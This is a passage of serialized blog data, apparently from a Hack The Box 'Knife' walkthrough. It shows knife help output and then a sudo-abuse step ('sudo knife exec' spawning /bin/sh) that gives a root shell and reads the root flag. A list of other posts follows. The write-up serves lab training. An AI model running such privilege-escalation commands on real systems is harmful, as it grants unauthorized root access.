'summary', 'text', 'json', 'yaml', or 'pp')\n --[no-]listen Whether a local mode (-z) server binds to a port.\n -z, --local-mode Point knife commands at local repository instead of Chef Infra Server.\n -u, --user USER Chef Infra Server API client username.\n --print-after Show the data after a destructive operation.\n --profile PROFILE The credentials profile to select.\n -V, --verbose More verbose output. Use twice (-VV) for additional verbosity and three times (-VVV) for maximum verbosity.\n -v, --version Show Chef Infra Client version.\n -y, --yes Say yes to all prompts for confirmation.\n -h, --help Show this help message.\n\nAvailable subcommands: (for details, knife SUB-COMMAND --help)\n",[25,2475,2476,2486,2493,2507,2511,2519,2527,2531,2545,2567,2594,2626,2653,2675,2700,2722,2744,2779,2811,2866,2880,2961,2980,3015,3040,3063,3085,3126,3146,3172,3191,3195],{"__ignoreMap":23},[28,2477,2478,2480,2483],{"class":30,"line":31},[28,2479,2264],{"class":34},[28,2481,2482],{"class":54}," \u002Fusr\u002Fbin\u002Fknife",[28,2484,2485],{"class":201}," --help\n",[28,2487,2488,2491],{"class":30,"line":38},[28,2489,2490],{"class":34},"\u002Fusr\u002Fbin\u002Fknife",[28,2492,2485],{"class":201},[28,2494,2495,2498,2501,2504],{"class":30,"line":48},[28,2496,2497],{"class":34},"Chef",[28,2499,2500],{"class":54}," Infra",[28,2502,2503],{"class":54}," Client:",[28,2505,2506],{"class":201}," 16.10.8\n",[28,2508,2509],{"class":30,"line":58},[28,2510,71],{"emptyLinePlaceholder":70},[28,2512,2513,2516],{"class":30,"line":67},[28,2514,2515],{"class":34},"Docs:",[28,2517,2518],{"class":54}," https:\u002F\u002Fdocs.chef.io\u002Fworkstation\u002Fknife\u002F\n",[28,2520,2521,2524],{"class":30,"line":74},[28,2522,2523],{"class":34},"Patents:",[28,2525,2526],{"class":54}," https:\u002F\u002Fwww.chef.io\u002Fpatents\n",[28,2528,2529],{"class":30,"line":83},[28,2530,71],{"emptyLinePlaceholder":70},[28,2532,2533,2536,2539,2542],{"class":30,"line":88},[28,2534,2535],{"class":34},"Usage:",[28,2537,2538],{"class":54}," knife",[28,2540,2541],{"class":54}," sub-command",[28,2543,2544],{"class":169}," (options)\n",[28,2546,2547,2550,2553,2556,2559,2561,2564],{"class":30,"line":94},[28,2548,2549],{"class":34}," -s,",[28,2551,2552],{"class":201}," --server-url",[28,2554,2555],{"class":54}," URL",[28,2557,2558],{"class":54}," Chef",[28,2560,2500],{"class":54},[28,2562,2563],{"class":54}," Server",[28,2565,2566],{"class":54}," URL.\n",[28,2568,2569,2572,2575,2578,2580,2583,2586,2588,2591],{"class":30,"line":113},[28,2570,2571],{"class":34}," --chef-zero-host",[28,2573,2574],{"class":54}," HOST",[28,2576,2577],{"class":54}," Host",[28,2579,2095],{"class":54},[28,2581,2582],{"class":54}," start",[28,2584,2585],{"class":54}," Chef",[28,2587,2500],{"class":54},[28,2589,2590],{"class":54}," Zero",[28,2592,2593],{"class":54}," on.\n",[28,2595,2596,2599,2602,2605,2608,2611,2614,2617,2620,2623],{"class":30,"line":122},[28,2597,2598],{"class":34}," --chef-zero-port",[28,2600,2601],{"class":54}," PORT",[28,2603,2604],{"class":54}," Port",[28,2606,2607],{"class":169}," (or ",[28,2609,2610],{"class":54},"port",[28,2612,2613],{"class":54}," range",[28,2615,2616],{"class":169},") to start Chef Infra Zero on. Port ranges like 1000,1010 or 8889-9999 will try all given ports ",[28,2618,2619],{"class":2140},"until",[28,2621,2622],{"class":34}," one",[28,2624,2625],{"class":54}," works.\n",[28,2627,2628,2631,2634,2637,2640,2642,2644,2647,2650],{"class":30,"line":131},[28,2629,2630],{"class":34}," -k,",[28,2632,2633],{"class":201}," --key",[28,2635,2636],{"class":54}," KEY",[28,2638,2639],{"class":54}," Chef",[28,2641,2500],{"class":54},[28,2643,2563],{"class":54},[28,2645,2646],{"class":54}," API",[28,2648,2649],{"class":54}," client",[28,2651,2652],{"class":54}," key.\n",[28,2654,2655,2658,2661,2664,2667,2670,2672],{"class":30,"line":139},[28,2656,2657],{"class":34}," --[no-]color",[28,2659,2660],{"class":54}," Use",[28,2662,2663],{"class":54}," colored",[28,2665,2666],{"class":54}," output,",[28,2668,2669],{"class":54}," defaults",[28,2671,2095],{"class":54},[28,2673,2674],{"class":54}," enabled.\n",[28,2676,2677,2680,2683,2686,2689,2692,2695,2697],{"class":30,"line":346},[28,2678,2679],{"class":34}," -c,",[28,2681,2682],{"class":201}," --config",[28,2684,2685],{"class":54}," CONFIG",[28,2687,2688],{"class":54}," The",[28,2690,2691],{"class":54}," configuration",[28,2693,2694],{"class":54}," file",[28,2696,2095],{"class":54},[28,2698,2699],{"class":54}," use.\n",[28,2701,2702,2705,2708,2711,2714,2717,2719],{"class":30,"line":361},[28,2703,2704],{"class":34}," --config-option",[28,2706,2707],{"class":54}," OPTION=VALUE",[28,2709,2710],{"class":54}," Override",[28,2712,2713],{"class":54}," a",[28,2715,2716],{"class":54}," single",[28,2718,2691],{"class":54},[28,2720,2721],{"class":54}," option.\n",[28,2723,2724,2727,2730,2733,2736,2738,2741],{"class":30,"line":376},[28,2725,2726],{"class":34}," --defaults",[28,2728,2729],{"class":54}," Accept",[28,2731,2732],{"class":54}," default",[28,2734,2735],{"class":54}," values",[28,2737,208],{"class":54},[28,2739,2740],{"class":54}," all",[28,2742,2743],{"class":54}," questions.\n",[28,2745,2746,2749,2752,2755,2758,2760,2763,2766,2769,2771,2773,2776],{"class":30,"line":400},[28,2747,2748],{"class":34}," -d,",[28,2750,2751],{"class":201}," --disable-editing",[28,2753,2754],{"class":54}," Do",[28,2756,2757],{"class":54}," not",[28,2759,472],{"class":54},[28,2761,2762],{"class":54}," EDITOR,",[28,2764,2765],{"class":54}," just",[28,2767,2768],{"class":54}," accept",[28,2770,1938],{"class":54},[28,2772,1259],{"class":54},[28,2774,2775],{"class":54}," as",[28,2777,2778],{"class":54}," is.\n",[28,2780,2781,2784,2787,2790,2793,2795,2798,2800,2803,2805,2808],{"class":30,"line":431},[28,2782,2783],{"class":34}," -e,",[28,2785,2786],{"class":201}," --editor",[28,2788,2789],{"class":54}," EDITOR",[28,2791,2792],{"class":54}," Set",[28,2794,1938],{"class":54},[28,2796,2797],{"class":54}," editor",[28,2799,2095],{"class":54},[28,2801,2802],{"class":54}," use",[28,2804,208],{"class":54},[28,2806,2807],{"class":54}," interactive",[28,2809,2810],{"class":54}," commands.\n",[28,2812,2813,2816,2819,2822,2825,2827,2829,2831,2834,2837,2840,2842,2844,2847,2850,2852,2855,2858,2861,2864],{"class":30,"line":448},[28,2814,2815],{"class":34}," -E,",[28,2817,2818],{"class":201}," --environment",[28,2820,2821],{"class":54}," ENVIRONMENT",[28,2823,2824],{"class":54}," Set",[28,2826,1938],{"class":54},[28,2828,2585],{"class":54},[28,2830,2500],{"class":54},[28,2832,2833],{"class":54}," Client",[28,2835,2836],{"class":54}," environment",[28,2838,2839],{"class":169}," (except ",[28,2841,2141],{"class":54},[28,2843,2160],{"class":54},[28,2845,2846],{"class":54}," searches,",[28,2848,2849],{"class":54}," where",[28,2851,2163],{"class":54},[28,2853,2854],{"class":54}," will",[28,2856,2857],{"class":54}," be",[28,2859,2860],{"class":54}," flagrantly",[28,2862,2863],{"class":54}," ignored",[28,2865,788],{"class":169},[28,2867,2868,2871,2874,2877],{"class":30,"line":466},[28,2869,2870],{"class":34}," --[no-]fips",[28,2872,2873],{"class":54}," Enable",[28,2875,2876],{"class":54}," FIPS",[28,2878,2879],{"class":54}," mode.\n",[28,2881,2882,2885,2888,2891,2894,2897,2899,2901,2903,2906,2909,2912,2914,2917,2919,2922,2924,2927,2929,2931,2933,2936,2938,2940,2942,2945,2947,2949,2952,2954,2957,2959],{"class":30,"line":487},[28,2883,2884],{"class":34}," -F,",[28,2886,2887],{"class":201}," --format",[28,2889,2890],{"class":54}," FORMAT",[28,2892,2893],{"class":54}," Which",[28,2895,2896],{"class":54}," format",[28,2898,2095],{"class":54},[28,2900,2802],{"class":54},[28,2902,208],{"class":54},[28,2904,2905],{"class":54}," output.",[28,2907,2908],{"class":169}," (valid ",[28,2910,2911],{"class":54},"options:",[28,2913,1498],{"class":890},[28,2915,2916],{"class":54},"summary",[28,2918,1503],{"class":890},[28,2920,2921],{"class":54},",",[28,2923,1498],{"class":890},[28,2925,2926],{"class":54},"text",[28,2928,1503],{"class":890},[28,2930,2921],{"class":54},[28,2932,1498],{"class":890},[28,2934,2935],{"class":54},"json",[28,2937,1503],{"class":890},[28,2939,2921],{"class":54},[28,2941,1498],{"class":890},[28,2943,2944],{"class":54},"yaml",[28,2946,1503],{"class":890},[28,2948,2921],{"class":54},[28,2950,2951],{"class":54}," or",[28,2953,1498],{"class":890},[28,2955,2956],{"class":54},"pp",[28,2958,1503],{"class":890},[28,2960,428],{"class":169},[28,2962,2963,2966,2969,2971,2974,2977],{"class":30,"line":503},[28,2964,2965],{"class":34}," --[no-]listen",[28,2967,2968],{"class":54}," Whether",[28,2970,2713],{"class":54},[28,2972,2973],{"class":54}," local",[28,2975,2976],{"class":54}," mode",[28,2978,2979],{"class":169}," (-z) server binds to a port.\n",[28,2981,2982,2985,2988,2991,2993,2995,2997,2999,3002,3005,3008,3010,3012],{"class":30,"line":532},[28,2983,2984],{"class":34}," -z,",[28,2986,2987],{"class":201}," --local-mode",[28,2989,2990],{"class":54}," Point",[28,2992,2538],{"class":54},[28,2994,2440],{"class":54},[28,2996,254],{"class":54},[28,2998,2973],{"class":54},[28,3000,3001],{"class":54}," repository",[28,3003,3004],{"class":54}," instead",[28,3006,3007],{"class":54}," of",[28,3009,2585],{"class":54},[28,3011,2500],{"class":54},[28,3013,3014],{"class":54}," Server.\n",[28,3016,3017,3020,3023,3026,3029,3031,3033,3035,3037],{"class":30,"line":547},[28,3018,3019],{"class":34}," -u,",[28,3021,3022],{"class":201}," --user",[28,3024,3025],{"class":54}," USER",[28,3027,3028],{"class":54}," Chef",[28,3030,2500],{"class":54},[28,3032,2563],{"class":54},[28,3034,2646],{"class":54},[28,3036,2649],{"class":54},[28,3038,3039],{"class":54}," username.\n",[28,3041,3042,3045,3048,3050,3052,3055,3057,3060],{"class":30,"line":564},[28,3043,3044],{"class":34}," --print-after",[28,3046,3047],{"class":54}," Show",[28,3049,1938],{"class":54},[28,3051,1259],{"class":54},[28,3053,3054],{"class":54}," after",[28,3056,2713],{"class":54},[28,3058,3059],{"class":54}," destructive",[28,3061,3062],{"class":54}," operation.\n",[28,3064,3065,3068,3071,3074,3077,3080,3082],{"class":30,"line":597},[28,3066,3067],{"class":34}," --profile",[28,3069,3070],{"class":54}," PROFILE",[28,3072,3073],{"class":54}," The",[28,3075,3076],{"class":54}," credentials",[28,3078,3079],{"class":54}," profile",[28,3081,2095],{"class":54},[28,3083,3084],{"class":54}," select.\n",[28,3086,3087,3090,3093,3096,3099,3101,3104,3107,3110,3112,3115,3118,3121,3123],{"class":30,"line":610},[28,3088,3089],{"class":34}," -V,",[28,3091,3092],{"class":201}," --verbose",[28,3094,3095],{"class":54}," More",[28,3097,3098],{"class":54}," verbose",[28,3100,2905],{"class":54},[28,3102,3103],{"class":54}," Use",[28,3105,3106],{"class":54}," twice",[28,3108,3109],{"class":169}," (-VV) ",[28,3111,2141],{"class":2140},[28,3113,3114],{"class":169}," additional verbosity and three times ",[28,3116,3117],{"class":890},"(",[28,3119,3120],{"class":34},"-VVV",[28,3122,2455],{"class":890},[28,3124,3125],{"class":169}," for maximum verbosity.\n",[28,3127,3128,3131,3134,3137,3139,3141,3143],{"class":30,"line":627},[28,3129,3130],{"class":34}," -v,",[28,3132,3133],{"class":201}," --version",[28,3135,3136],{"class":54}," Show",[28,3138,2585],{"class":54},[28,3140,2500],{"class":54},[28,3142,2833],{"class":54},[28,3144,3145],{"class":54}," version.\n",[28,3147,3148,3151,3154,3157,3160,3162,3164,3167,3169],{"class":30,"line":638},[28,3149,3150],{"class":34}," -y,",[28,3152,3153],{"class":201}," --yes",[28,3155,3156],{"class":54}," Say",[28,3158,3159],{"class":54}," yes",[28,3161,2095],{"class":54},[28,3163,2740],{"class":54},[28,3165,3166],{"class":54}," prompts",[28,3168,208],{"class":54},[28,3170,3171],{"class":54}," confirmation.\n",[28,3173,3174,3177,3180,3183,3185,3188],{"class":30,"line":654},[28,3175,3176],{"class":34}," -h,",[28,3178,3179],{"class":201}," --help",[28,3181,3182],{"class":54}," Show",[28,3184,2163],{"class":54},[28,3186,3187],{"class":54}," help",[28,3189,3190],{"class":54}," message.\n",[28,3192,3193],{"class":30,"line":671},[28,3194,71],{"emptyLinePlaceholder":70},[28,3196,3197,3200,3203,3206,3209,3211,3214,3216],{"class":30,"line":682},[28,3198,3199],{"class":34},"Available",[28,3201,3202],{"class":54}," subcommands:",[28,3204,3205],{"class":169}," (for ",[28,3207,3208],{"class":54},"details,",[28,3210,2538],{"class":54},[28,3212,3213],{"class":54}," SUB-COMMAND",[28,3215,3179],{"class":201},[28,3217,428],{"class":169},[11,3219,3220],{},"We can take advantage of the authorizations and open a root shell with it and then use it to display the root flag.",[15,3222,3223],{},[18,3224,3226],{"className":20,"code":3225,"language":22,"meta":23,"style":23},"james@knife:\u002F$ sudo knife exec -E 'exec \"\u002Fbin\u002Fsh\"'\nsudo knife exec -E 'exec \"\u002Fbin\u002Fsh\"'\nid\nuid=0(root) gid=0(root) groups=0(root)\ncat \u002Froot\u002Froot.txt\nc0a46841b0e165d0fe6befdb7753c2e5\n",[25,3227,3228,3250,3266,3271,3313,3320],{"__ignoreMap":23},[28,3229,3230,3232,3234,3236,3239,3242,3244,3247],{"class":30,"line":31},[28,3231,2264],{"class":34},[28,3233,2334],{"class":54},[28,3235,2538],{"class":54},[28,3237,3238],{"class":54}," exec",[28,3240,3241],{"class":201}," -E",[28,3243,1498],{"class":890},[28,3245,3246],{"class":54},"exec \"\u002Fbin\u002Fsh\"",[28,3248,3249],{"class":890},"'\n",[28,3251,3252,3254,3256,3258,3260,3262,3264],{"class":30,"line":38},[28,3253,2342],{"class":34},[28,3255,2538],{"class":54},[28,3257,3238],{"class":54},[28,3259,3241],{"class":201},[28,3261,1498],{"class":890},[28,3263,3246],{"class":54},[28,3265,3249],{"class":890},[28,3267,3268],{"class":30,"line":48},[28,3269,3270],{"class":34},"id\n",[28,3272,3273,3276,3278,3281,3283,3285,3287,3290,3292,3294,3296,3298,3300,3303,3305,3307,3309,3311],{"class":30,"line":58},[28,3274,3275],{"class":2378},"uid",[28,3277,1469],{"class":905},[28,3279,3280],{"class":54},"0",[28,3282,3117],{"class":890},[28,3284,2452],{"class":34},[28,3286,2455],{"class":890},[28,3288,3289],{"class":2378}," gid",[28,3291,1469],{"class":905},[28,3293,3280],{"class":54},[28,3295,3117],{"class":890},[28,3297,2452],{"class":34},[28,3299,2455],{"class":890},[28,3301,3302],{"class":2378}," groups",[28,3304,1469],{"class":905},[28,3306,3280],{"class":54},[28,3308,3117],{"class":890},[28,3310,2452],{"class":34},[28,3312,428],{"class":890},[28,3314,3315,3317],{"class":30,"line":67},[28,3316,2305],{"class":34},[28,3318,3319],{"class":54}," \u002Froot\u002Froot.txt\n",[28,3321,3322],{"class":30,"line":74},[28,3323,3324],{"class":34},"c0a46841b0e165d0fe6befdb7753c2e5\n",[11,3326,3327],{},"That's it for the room.",[11,3329,3330],{},[1364,3331],{"alt":23,"src":3332},"\u002Fimages\u002Fposts\u002Fhack-the-box-knife\u002Fattachments\u002Fimage-20240716223412572.webp",[3334,3335,3336],"style",{},"html pre.shiki code .s59W0, html code.shiki .s59W0{--shiki-default:#FABD2F}html pre.shiki code .s-UKz, html code.shiki .s-UKz{--shiki-default:#928374;--shiki-default-font-style:italic}html pre.shiki code .sTqo2, html code.shiki .sTqo2{--shiki-default:#B8BB26}html pre.shiki code .sG605, html code.shiki .sG605{--shiki-default:#FE8019}html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html pre.shiki code .sM0OT, html code.shiki .sM0OT{--shiki-default:#EBDBB2}html pre.shiki code .ssIPD, html code.shiki .ssIPD{--shiki-default:#D3869B}html pre.shiki code .svnLg, html code.shiki .svnLg{--shiki-default:#A89984}html pre.shiki code .sM2RB, html code.shiki .sM2RB{--shiki-default:#8EC07C}html pre.shiki code .sBQf5, html code.shiki .sBQf5{--shiki-default:#FB4934}html pre.shiki code .sMWUE, html code.shiki .sMWUE{--shiki-default:#83A598}",{"title":23,"searchDepth":48,"depth":48,"links":3338},[],"hack-the-box","2024-07-15","Walkthrough for the \"Knife\" Hack the Box Challenge",false,"md","\u002Fimages\u002Fposts\u002Fhack-the-box-knife\u002Fcover.webp",{},"\u002Fposts\u002Fhack-the-box-knife",{"title":5,"description":3341},"posts\u002Fhack-the-box-knife","1",[3351,3352],"writeup","linux","fODucq5BhHNSGu5-JQoU5ZmtF_ZNh4XBFL9LfMAqTvI",[3355,3368,3378,3389,3396,3402,3410,3418,3423,3430,3436,3445,3452,3459,3466,3472,3479,3485,3491,3499,3510,3516,3522,3528,3534,3540,3546,3548,3554,3560,3566,3572,3579,3585,3591,3599,3605,3612],{"path":3356,"title":3357,"description":3358,"date":3359,"category":3360,"alsoIn":3361,"series":6,"tags":3363,"readingTime":94},"\u002Fposts\u002Fbarista","Barista: One Exe to Install Doppio and Ristretto","The 2FA series ends with two LSA components, an unsigned DLL in lsass and a dozen steps that have to happen in the right order. Barista is a wizard that does them one reboot at a time, from a single exe with every binary embedded and hash-checked.","2026-10-16","tools",[3362],"windows",[3362,3364,3365,3366,3367],"lsa","2fa","credential-provider","security",{"path":3369,"title":3370,"description":3371,"date":3372,"category":3362,"alsoIn":3373,"series":3374,"tags":3375,"readingTime":726},"\u002Fposts\u002Fwindows-2fa-gating-network-logons","Build Your Own 2FA for the Windows Logon, Part 3: Gating Network Logons","Part 2 refuses every network logon for an enrolled account, which makes the account safe and useless. Part 3 adds a gate you open once with a one-time code, so SMB, RPC and WinRM work again for a short window. In C++, with the full source.","2026-10-11",[3360],"Doppio · 3-part series",[3362,3364,3376,3377,3365,3367],"ntlm","smb",{"path":3379,"title":3380,"description":3381,"date":3382,"category":3360,"alsoIn":6,"series":6,"tags":3383,"readingTime":67},"\u002Fposts\u002Fadhardenkit","ADHardenKit: Hardening AD Without Breaking It","LDAP signing, SMB signing, NTLM, Kerberos with AES only. Every hardening checklist has them. I wrote a tool that turns them on in an order that doesn't break the domain.","2026-10-07",[3384,3385,3386,3387,3376,3388],"active-directory","windows-server","powershell","hardening","kerberos",{"path":3390,"title":3391,"description":3392,"date":3393,"category":3360,"alsoIn":6,"series":6,"tags":3394,"readingTime":74},"\u002Fposts\u002Fntlm-analyzer","NTLM-Analyzer: Find Out Who Still Uses NTLM","Windows logs a lot of NTLM activity, but you have to piece it together yourself. I built a tool that shows which users and programs still use NTLMv1 or NTLMv2, and what already runs over Kerberos.","2026-10-03",[3384,3376,3388,3395,3385],"auditing",{"path":3397,"title":3398,"description":3399,"date":3400,"category":3362,"alsoIn":6,"series":3374,"tags":3401,"readingTime":682},"\u002Fposts\u002Fwindows-2fa-inside-lsa","Build Your Own 2FA for the Windows Logon, Part 2: Inside LSA","The credential provider from Part 1 only sees the logon screen. Part 2 goes into LSA to close the paths it can't reach, with an authentication package and an MSV1_0 sub-authentication filter in C++.","2026-10-01",[3362,3366,3364,3365,3367],{"path":3403,"title":3404,"description":3405,"date":3406,"category":3362,"alsoIn":3407,"series":3374,"tags":3408,"readingTime":1167},"\u002Fposts\u002Fwindows-2fa-credential-provider","Build Your Own 2FA for the Windows Logon","How a Credential Provider works and how to build a working TOTP 2FA for local Windows accounts in C++. With rate limiting, replay protection and logging.","2026-09-30",[3360],[3362,3366,3365,3409,3367],"totp",{"path":3411,"title":3412,"description":3413,"date":3414,"category":3360,"alsoIn":6,"series":6,"tags":3415,"readingTime":48},"\u002Fposts\u002Fadtierkit-active-directory-tiering","ADTierKit: Automatic AD-Tiering","I got tired of building tier models by hand, so I wrote a tool for it. One PowerShell script, one JSON file.","2026-08-06",[3384,3385,3386,3416,3417],"tiering","laps",{"path":3419,"title":3420,"description":3421,"date":3414,"category":3384,"alsoIn":6,"series":6,"tags":3422,"readingTime":122},"\u002Fposts\u002Fldap-ldaps-and-active-directory","The thing with LDAP, LDAPS and Active Directory","Why LDAPS rarely fixes what security reports worry about, why you can't just block port 389, and what actually protects LDAP in Active Directory.",[],{"path":3424,"title":3425,"description":3426,"date":3427,"category":3352,"alsoIn":6,"series":6,"tags":3428,"readingTime":48},"\u002Fposts\u002Finstall-tor-exit-node","Install Tor Exit Node","How to run a Tor exit node on an anonymously rented VPS: paying with Monero, picking the provider and the country, and installing and configuring Tor.","2025-09-30",[3429],"tor",{"path":3431,"title":3432,"description":3433,"date":3434,"category":3384,"alsoIn":6,"series":6,"tags":3435,"readingTime":31},"\u002Fposts\u002Fconfigure-kerberos-armoring","Configure Kerberos Armoring","Kerberos Armoring (FAST) protects the Kerberos exchange against offline brute force, replay and tampering. How to enable it in your domain with a GPO.","2025-07-28",[3388],{"path":3437,"title":3438,"description":3439,"date":3440,"category":3441,"alsoIn":6,"series":6,"tags":3442,"readingTime":965},"\u002Fposts\u002Fexchange-2019-install","Installation guide for Exchange SE and Exchange 2019","Install Exchange Server Subscription Edition (SE) or Exchange Server 2019 step by step and harden it, with WAF rules on the Sophos XG, SPF, DMARC, DKIM and more. The installation is the same for both versions.","2025-06-26","exchange",[3441,3443,3444],"exchange-se","exchange-2019",{"path":3446,"title":3447,"description":3448,"date":3449,"category":3384,"alsoIn":6,"series":6,"tags":3450,"readingTime":94},"\u002Fposts\u002Fhow-ntlm-works-active-directory","How NTLM works in Active Directory","How NTLM proves that you know a password without sending it, what the domain controller does, the difference between NTLMv1 and NTLMv2, and why Microsoft is phasing it out.","2025-05-07",[3376,3384,3451],"authentication",{"path":3453,"title":3454,"description":3455,"date":3456,"category":3384,"alsoIn":6,"series":6,"tags":3457,"readingTime":58},"\u002Fposts\u002Fadfs-installation","ADFS Installation","Basic installation guide for Active Directory Federation Services","2025-01-27",[3458],"adfs",{"path":3460,"title":3461,"description":3462,"date":3463,"category":3384,"alsoIn":6,"series":6,"tags":3464,"readingTime":48},"\u002Fposts\u002Fexample-pass-the-hash-attack","Pass the Hash Attack Example","Example of a pass the hash attack","2025-01-22",[3465],"pass-the-hash",{"path":3467,"title":3468,"description":3469,"date":3470,"category":3384,"alsoIn":6,"series":6,"tags":3471,"readingTime":74},"\u002Fposts\u002Fhow-kerberos-works-active-directory","How Kerberos works in Active Directory","How Kerberos works in Active Directory, step by step: the TGT, the service ticket and the request to the service, and why no password crosses the network.","2025-01-16",[3388],{"path":3473,"title":3474,"description":3475,"date":3476,"category":3362,"alsoIn":6,"series":6,"tags":3477,"readingTime":48},"\u002Fposts\u002Fconfigure-credential-guard-computer-accounts","Configure Credential Guard for Computer Accounts","Windows Server 2025 can move computer account passwords into Credential Guard. How to enable it by GPO, and why turning it off means a new domain join.","2025-01-15",[3478],"credential-guard",{"path":3480,"title":3481,"description":3482,"date":3483,"category":3362,"alsoIn":6,"series":6,"tags":3484,"readingTime":58},"\u002Fposts\u002Fconfigure-credential-guard-windows","Configure Credential Guard","How Credential Guard shields NTLM hashes and Kerberos tickets, how to enable it by GPO on older clients and servers, and how to check that it runs.","2025-01-13",[3478],{"path":3486,"title":3487,"description":3488,"date":3483,"category":3362,"alsoIn":6,"series":6,"tags":3489,"readingTime":48},"\u002Fposts\u002Fosconfig-windows-server-2025-security","OSConfig - Security Settings for Windows Server 2025","OSConfig applies Microsoft's recommended security settings on Windows Server 2025 without GPOs. Install the module, list templates, enable a baseline.",[3490],"osconfig",{"path":3492,"title":3493,"description":3494,"date":3495,"category":3362,"alsoIn":6,"series":6,"tags":3496,"readingTime":48},"\u002Fposts\u002Fsecure-iis-modsecurity","Secure IIS with Modsecurity","Installation guide to secure IIS with Modsecurity","2025-01-12",[3497,3498],"iis","modsecurity",{"path":3500,"title":3501,"description":3502,"date":3503,"category":3384,"alsoIn":6,"series":6,"tags":3504,"readingTime":113},"\u002Fposts\u002Fvcsa-certificate-windows-pki","Issue VCSA Certificate with Windows PKI","Replace the self-signed vCenter (VCSA) certificate with a SubCA certificate from your Windows PKI, using the VCSA Certificate Manager and WinSCP.","2025-01-09",[3505,3506,3507,3508,3509],"ad-cs","pki","vmware","vcsa","vcenter",{"path":3511,"title":3512,"description":3513,"date":3514,"category":3384,"alsoIn":6,"series":6,"tags":3515,"readingTime":741},"\u002Fposts\u002Fwindows-pki-installation","Installation guide for a Windows PKI","Step-by-step guide for a two-tier Windows PKI with root CA, sub CA and a separate CRL server, plus certificate templates, OCSP and web enrollment.","2024-12-20",[3505,3506],{"path":3517,"title":3518,"description":3519,"date":3520,"category":3339,"alsoIn":6,"series":6,"tags":3521,"readingTime":113},"\u002Fposts\u002Fhack-the-box-administrator","Hack The Box: Administrator","Walkthrough for the \"Administrator\" Hack the Box Challenge","2024-11-19",[3351,3362,3384],{"path":3523,"title":3524,"description":3525,"date":3526,"category":3384,"alsoIn":6,"series":6,"tags":3527,"readingTime":38},"\u002Fposts\u002Fsecure-active-directory-part-1","Secure Active Directory - Part 1","Part 1 of the guide to a secure Active Directory","2024-09-09",[],{"path":3529,"title":3530,"description":3531,"date":3532,"category":3339,"alsoIn":6,"series":6,"tags":3533,"readingTime":131},"\u002Fposts\u002Fhack-the-box-greenhorn","Hack The Box: Greenhorn","Walkthrough for the \"Greenhorn\" Hack the Box Challenge","2024-07-24",[3351,3352],{"path":3535,"title":3536,"description":3537,"date":3538,"category":3339,"alsoIn":6,"series":6,"tags":3539,"readingTime":94},"\u002Fposts\u002Fhack-the-box-runner","Hack The Box: Runner","Walkthrough for the \"Runner\" Hack the Box Challenge","2024-07-20",[3351,3352],{"path":3541,"title":3542,"description":3543,"date":3544,"category":3339,"alsoIn":6,"series":6,"tags":3545,"readingTime":31},"\u002Fposts\u002Fhack-the-box-ghost","Hack The Box: Ghost","Walkthrough for the \"Ghost\" Hack the Box Challenge","2024-07-18",[3351,3362,3384],{"path":3346,"title":5,"description":3341,"date":3340,"category":3339,"alsoIn":6,"series":6,"tags":3547,"readingTime":83},[3351,3352],{"path":3549,"title":3550,"description":3551,"date":3552,"category":3339,"alsoIn":6,"series":6,"tags":3553,"readingTime":48},"\u002Fposts\u002Fhack-the-box-broker","Hack The Box: Broker","Walkthrough for the \"Broker\" Hack the Box Challenge","2024-07-10",[3351,3352],{"path":3555,"title":3556,"description":3557,"date":3558,"category":3339,"alsoIn":6,"series":6,"tags":3559,"readingTime":31},"\u002Fposts\u002Fhack-the-box-permx","Hack The Box: PermX","Walkthrough zur \"PermX\" Hack the Box Challenge","2024-07-08",[3351,3352],{"path":3561,"title":3562,"description":3563,"date":3564,"category":3339,"alsoIn":6,"series":6,"tags":3565,"readingTime":48},"\u002Fposts\u002Fhack-the-box-lame","Hack The Box: Lame","Walkthrough zur \"Lame\" Hack the Box Challenge","2024-07-06",[3351,3352],{"path":3567,"title":3568,"description":3569,"date":3570,"category":3339,"alsoIn":6,"series":6,"tags":3571,"readingTime":58},"\u002Fposts\u002Fhack-the-box-analytics","Hack The Box: Analytics","Walkthrough zur \"Analytics\" Hack the Box Challenge","2024-06-30",[3351,3352],{"path":3573,"title":3574,"description":3575,"date":3576,"category":3339,"alsoIn":6,"series":6,"tags":3577,"readingTime":67},"\u002Fposts\u002Fhack-the-box-sense","Hack The Box: Sense","Walkthrough zur \"Sense\" Hack the Box Challenge","2024-06-28",[3351,3578],"freebsd",{"path":3580,"title":3581,"description":3582,"date":3583,"category":3339,"alsoIn":6,"series":6,"tags":3584,"readingTime":122},"\u002Fposts\u002Fhack-the-box-mailing","Hack The Box: Mailing","Walkthrough zur \"Mailing\" Hack the Box Challenge","2024-06-26",[3351,3362],{"path":3586,"title":3587,"description":3588,"date":3589,"category":3339,"alsoIn":6,"series":6,"tags":3590,"readingTime":48},"\u002Fposts\u002Fhack-the-box-jerry","Hack The Box: Jerry","Walkthrough zur \"Jerry\" Hack the Box Challenge","2024-06-20",[3351,3362],{"path":3592,"title":3593,"description":3594,"date":3595,"category":3352,"alsoIn":6,"series":6,"tags":3596,"readingTime":31},"\u002Fposts\u002Flinux-ssh-telegram-notifications","Setting up notifications via Telegram for SSH login\u002Flogoff","Get a Telegram message every time someone logs in to or out of your Linux server over SSH, with a Telegram bot, a small script and PAM.","2024-06-01",[3597,3598],"ssh","monitoring",{"path":3600,"title":3601,"description":3602,"date":3603,"category":3339,"alsoIn":6,"series":6,"tags":3604,"readingTime":376},"\u002Fposts\u002Fhack-the-box-forest","Hack The Box: Forest","Walkthrough zur \"Forest\" Hack the Box Challenge","2024-05-20",[3351,3362,3384],{"path":3606,"title":3607,"description":3608,"date":3609,"category":3441,"alsoIn":6,"series":6,"tags":3610,"readingTime":31},"\u002Fposts\u002Fpowershell-connect-to-exchange-online","Verbindung zu Exchange Online mit Powershell","Wie man sich mit PowerShell mit Exchange Online verbindet: das Modul ExchangeOnlineManagement installieren, aktuell halten und die Verbindung herstellen.","2023-10-23",[3611,3386],"m365",{"path":3613,"title":3614,"description":3615,"date":3616,"category":3441,"alsoIn":6,"series":6,"tags":3617,"readingTime":31},"\u002Fposts\u002Fexchange-october-2023-updates","Exchange Server","Neue Sicherheitsupdates (Oktober 2023)","2023-10-18",[],1792195053894]